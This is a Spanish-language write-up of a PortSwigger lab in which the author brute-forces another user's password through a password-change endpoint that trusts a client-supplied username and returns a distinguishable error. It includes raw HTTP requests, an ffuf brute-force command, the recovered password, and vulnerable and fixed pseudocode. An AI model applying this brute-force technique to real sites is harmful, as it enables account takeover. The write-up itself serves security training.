Password Brute-Force via Password Change — Broken Access Control + Response Discrepancy — PortSwigger Lab
Fuerza bruta de la contraseña de carlos a través del endpoint /my-account/change-password, eludiendo el rate limit de /login mediante un oráculo de respuesta.
Password Brute-Force via Password Change
1. Target Overview & Vulnerability Summary
| Campo | Valor |
|---|---|
| Severidad | Alta |
| Endpoint vulnerable | POST /my-account/change-password |
| Root cause | El parámetro username es manipulable y el backend responde de forma diferenciada según la contraseña actual sea correcta (Broken Access Control + Authentication Response Discrepancy) |
El rate limit de /login bloquea los intentos contra carlos, pero el endpoint de cambio de contraseña acepta un campo username arbitrario sin validar que coincida con la sesión autenticada. Su respuesta actúa como oráculo: permite brute-forcing de la contraseña actual de carlos desde la cuenta wiener sin tocar el rate limit de login.
2. Technical Breakdown & Exploitation Flow
2.1 Observación del comportamiento
Autenticado como wiener:peter, la request de cambio de contraseña incluye un campo user editable:
POST /my-account/change-password HTTP/2
Host: 0a7c005003289e1b835e320a0023002c.web-security-academy.net
username=wiener¤t-password=peter&new-password-1=peter&new-password-2=peter
El benchmark sobre el campo current-password revela dos estados distinguibles:
| Escenario | Respuesta |
|---|---|
| Contraseña actual correcta + nuevas contraseñas distintas | 200 OK — New passwords do not match |
| Contraseña actual incorrecta + nuevas contraseñas iguales | 302 Found → redirección a /login |
El indicador de acierto es el texto New passwords do not match: solo aparece cuando current-password es correcta.
2.2 Fuerza bruta contra carlos
Se reemplaza username por carlos y se fuzza current-password:
POST /my-account/change-password HTTP/2
Host: 0a7c005003289e1b835e320a0023002c.web-security-academy.net
Cookie: session=sWcAxfi6zFZmJXnzRASVIBFgvM3adzol; session=wBGsS0hbZR78gRlC3s7FynBmxO48Z8Hh
Content-Type: application/x-www-form-urlencoded
username=carlos¤t-password=FUZZ&new-password-1=abc&new-password-2=123
~/go/bin/ffuf -request enum.txt -w pass.txt:FUZZ -t 1000 -c -mr "New passwords do not match"
Resultado:
matrix [Status: 200, Size: 3981, Words: 1587, Lines: 77, Duration: 202ms]
:: Progress: [100/100] :: Job [1/1] :: 24 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
La contraseña de carlos es matrix, confirmada porque solo ese candidato devuelve 200 OK con New passwords do not match (las contraseñas nuevas abc/123 no coinciden, pero current-password sí).
3. Root Cause Analysis
El endpoint de cambio de contraseña falla por dos motivos:
- Broken Access Control: confía en el parámetro
usernameenviado por el cliente en lugar de derivar el usuario desde la sesión autenticada. - Authentication Response Discrepancy: distingue el estado de la contraseña actual con respuestas diferentes, creando un oráculo reutilizable.
# Implementación vulnerable
if valid_session():
user = request.username # ❌ Confía en parámetro manipulable
if not valid_password(user, request.current_password):
redirect("/login") # ❌ Respuesta diferenciada
if request.new_password_1 != request.new_password_2:
return "New passwords do not match" # ❌ Oráculo de validación
update_password(user, request.new_password_1)
El rate limit aplicado a /login no protege este flujo porque la comprobación de credenciales se ejecuta en otro endpoint.
4. Secure Remediation
Derivar el usuario de la sesión, rechazar cambios para otros usuarios y uniformar la respuesta:
# Implementación segura
if not valid_session():
deny()
if request.username != session.user:
deny() # ❌ Bloquea el vector cross-account
if not valid_password(session.user, request.current_password):
return generic_error() # Misma respuesta siempre
if request.new_password_1 != request.new_password_2:
return generic_error()
update_password(session.user, request.new_password_1)
La validación del current-password debe emitir el mismo mensaje, código de estado y timing en todos los fallos para eliminar el side-channel.